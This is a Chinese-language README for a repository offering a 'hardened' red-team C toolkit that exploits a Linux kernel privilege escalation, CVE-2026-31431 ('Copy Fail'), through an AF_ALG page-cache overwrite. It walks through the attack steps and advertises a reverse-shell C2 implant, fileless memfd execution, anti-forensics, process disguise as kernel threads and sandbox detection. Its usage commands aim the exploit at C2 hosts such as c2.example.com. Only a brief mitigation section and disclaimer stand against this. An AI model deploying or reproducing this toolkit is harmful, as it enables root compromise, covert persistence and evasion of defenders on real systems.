Copy Fail -- CVE-2026-31431
为红队和授权渗透测试操作而强化的C语言实现。
⚠️ 法律声明: 本工具仅用于授权的安全研究、授权的渗透测试和防御性分析。仅可在您拥有或获得明确书面授权测试的系统上使用。未经授权访问计算机系统是违法的。
🚀 主要开发已迁移至GitLab。
此仓库在此处积极维护。如有问题或贡献,请使用GitLab。
目录
概述
本项目是CVE-2026-31431("Copy Fail")本地权限提升漏洞的一个强化、生产就绪的C语言移植版本,最初由Theori和Xint于2026年4月29日披露。
原始概念验证代码使用Python编写,旨在用于研究演示。本实现将其转化为一个红队级工具包,具备:
- 零磁盘痕迹(基于memfd的无文件执行)
- 自动目标发现(支持MAC感知的setuid二进制枚举)
- 反取证(缓存清理、时间戳恢复、自毁)
- 操作员控制(信号触发执行,可配置超时)
- 跨平台静态构建(x86_64、ARM64、RISC-V,使用musl/zig)
原始研究
CVE-2026-31431:Copy Fail
漏洞机制
该漏洞位于Linux内核的AF_ALG加密子系统中。authencesn AEAD模板实现了一种原地优化用于解密:当密文通过splice()从文件的页缓存提供时,内核重复使用同一页面作为源和目标。
攻击流程:
- 以只读方式打开一个setuid二进制文件(例如
/usr/bin/su)
- 通过
AF_ALG设置一个authencesn(hmac(sha256),cbc(aes)) AEAD操作
- 通过
splice()从目标文件的页缓存中提供密文
- (失败的)解密操作在身份验证拒绝之前覆盖了页缓存页面的4个字节
- 对载荷的每个4字节窗口重复此过程
- 执行
execve()目标文件——内核从缓存加载被修改的页面,授予setuid-root凭证
- 载荷转向完整的root shell
关键洞察: 磁盘上的inode从未被修改。只有内存中的页缓存被篡改,这使得基于取证的传统文件覆写漏洞的检测难度显著增加。
我们的改进
本项目在原有研究基础上扩展了面向红队的强化,涵盖九个模块。
1. 强化漏洞原语(patch_chunk.c)
2. 自动目标发现(target_discovery.c)
- 三阶段扫描:优先级目标 → 标准目录 → 深度扫描
- MAC感知评分:对具有AppArmor/SELinux配置文件的二进制文件扣分
- 18个优先级目标:
su、sudo、passwd、pkexec、mount、ping等
- 回退链:若主目标失败,自动选择下一个最佳候选
- Snap感知:跳过
/snap(非传统setuid)
3. 反取证套件(anti_forensics.c)
4. 无文件执行(memfd_exec.c)
- memfd_create + fexecve:无需文件系统路径即可执行
- 伪装:memfd名称设为
kworker、anon_inode、eventfd(混入/proc/$pid/fd/)
- 创建孤儿进程:双重fork创建孤立进程(PPID=1)
- 内存中解密:XOR和RC4解密后执行(载荷在磁盘上永不明文)
5. 第一阶段载荷投递(stage1.c)
6. 第二阶段C2植入(stage2_template.c)
- 弹性重连循环,带有指数退避
- 三种分布:均匀、三角、指数抖动
- 信号控制:
SIGUSR1(触发)、SIGUSR2(状态)、SIGTERM(关闭)
- DNS信标:TCP连接前的隐蔽C2健康检查
- 进程伪装:
ps/top中显示为[kworker/N:0]
7. 进程隐藏(proc_hide.c)
- argv[0]覆盖:原地替换
/proc/$pid/cmdline
- prctl(PR_SET_NAME):内核线程风格名称(16字节限制)
- 环境变量清理:选择性擦除
SSH_*、AWS_*、TOKEN*等
- 父进程脱离:
setsid() + setpgid(),实现终端独立
8. 信号触发控制(signal_trigger.c)
| 模式 | 行为 | 使用场景 |
|---|
trigger_oneshot() | 睡眠 → 触发 → 执行 → 退出 | 快速打击 |
trigger_daemon() |
零CPU等待:使用sigsuspend()而不是轮询循环。
9. 睡眠抖动(sleep_jitter.c)
- 三种RNG后端:
getrandom(2)、/dev/urandom、rdtsc回退
- 拒绝采样:消除均匀分布中的模偏差
- 漂移补偿:
sleep_scheduled()在抖动情况下维持平均间隔
- 沙箱检测:
check_sandbox_acceleration()检测被修补的sleep()
架构
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (编排器) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ 隐藏 │ │ 发现 │ │ 漏洞 │ │ 清理 │ │
│ │ 进程 │ │ 目标 │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 核心模块层 │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 投递与规避层 │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ 载荷层(第二阶段) │ │
│ │ stage2_template.c (反弹shell / C2植入) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
构建
依赖项
- GCC或Clang
- GNU Make
- Linux头文件(
linux-libc-dev或等效包)
- 可选:
musl-tools(用于小巧的静态构建)
- 可选:
zig(用于现代交叉编译)
- 可选:
dpkg-deb(用于Debian打包)
快速开始
# 标准红队构建(优化、剥离、静态)
make redteam
# 渗透测试构建(符号表、适度优化)
make pentest
# 调试构建(ASAN、完整符号表)
make debug
# 漏洞检查器(非破坏性)
make checker
交叉编译
# ARM64(AWS/Azure云目标)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF(嵌入式/IoT)
make cross-armhf
# Zig交叉编译(无需安装工具链)
make cross-zig-arm64
make cross-zig-riscv
musl静态构建(小型二进制文件)
make musl-static
# 生成约50-100 KB的静态二进制文件,无glibc依赖
Debian包
make deb VERSION=1.0.0
# 生成:build/deb/copy-fail-cve-2026-31431-1.0.0.deb
构建信息
make info
# 显示:CC、CFLAGS、LDFLAGS、架构、工具链可用性
使用
标准模式(信号触发)
# 部署植入
./exploit &
IMP_PID=$!
# 远程触发漏洞利用
kill -USR1 $IMP_PID
# 请求状态(无操作)
kill -USR2 $IMP_PID
# 优雅关闭
kill -TERM $IMP_PID
立即执行
./exploit -t # 立即触发,不等待信号
./exploit -t -c c2.example.com -p 9999
自定义配置
./exploit \
-c c2.redteam.internal \ # C2主机名
-p 4444 \ # C2端口
-d 300 \ # 5分钟初始延迟
-T 7200 \ # 2小时触发超时
-n # 跳过漏洞验证
非破坏性漏洞检查
./vulnerable
# 退出码:100 = 有漏洞,0 = 已修补,其他 = 错误
模块
操作安全
红队最佳实践
- 在低活动时段部署以减少关联性
- 使用指数抖动作为重连间隔(规避信标检测)
- 通过SIGUSR1触发而非自动触发(操作员保持控制)
- 始终执行清理(
full_cleanup),即使漏洞利用失败
- 优先使用memfd执行而非基于磁盘的载荷
- 双重fork实现持久化(
memfd_fork_exec_detach)
- 在执行前监控沙箱加速
取证痕迹
检测与缓解
防御性检测
缓解措施
- 内核补丁:升级到Linux >= 6.14,包含提交
a664bf3d603d
- 热补丁:应用发行版特定的向后移植
- SELinux/AppArmor:对setuid二进制文件强制执行配置文件
- eBPF监控:跟踪
AF_ALG + splice()组合
- 页缓存验证:对关键二进制文件进行定期完整性检查
致谢
原始研究
基础C移植
- Tony Gies --
tgies/copy-fail-c
- 提供了使用
nolibc的基础C实现
- 跨平台系统调用封装和构建基础设施
本强化分支
- 面向红队的强化,覆盖9个模块
- 操作安全特性(反取证、规避、隐蔽)
- 交叉编译支持(musl、zig、多架构)
- 基于信号的操作员控制和可配置执行模式
致谢
- Linux内核开发者提供了
memfd_create(2)和fexecve(3)
nolibc维护者提供了仅头文件的libc替代方案
- musl libc项目提供了小巧的静态二进制文件
- Zig项目提供了现代交叉编译工具链
许可证
本项目采用双重许可:
请参阅单个源文件中的SPDX标识符。
原始研究和基础C移植仍遵循其各自的许可证。本分支的附加代码在上述双重许可下提供,以与开源和商业安全研究用例最大兼容。
免责声明
本软件仅用于授权的安全研究和授权的渗透测试。作者不对因误用或滥用本软件导致的任何责任或损害负责。在测试您不拥有的任何系统之前,请务必获得适当的授权。
如果您在自己的系统上发现此漏洞:
- 应用内核补丁(提交
a664bf3d603d或发行版向后移植)
- 监控上述入侵指标(IoC)
- 检查
/var/log/audit/和EDR遥测中是否存在AF_ALG异常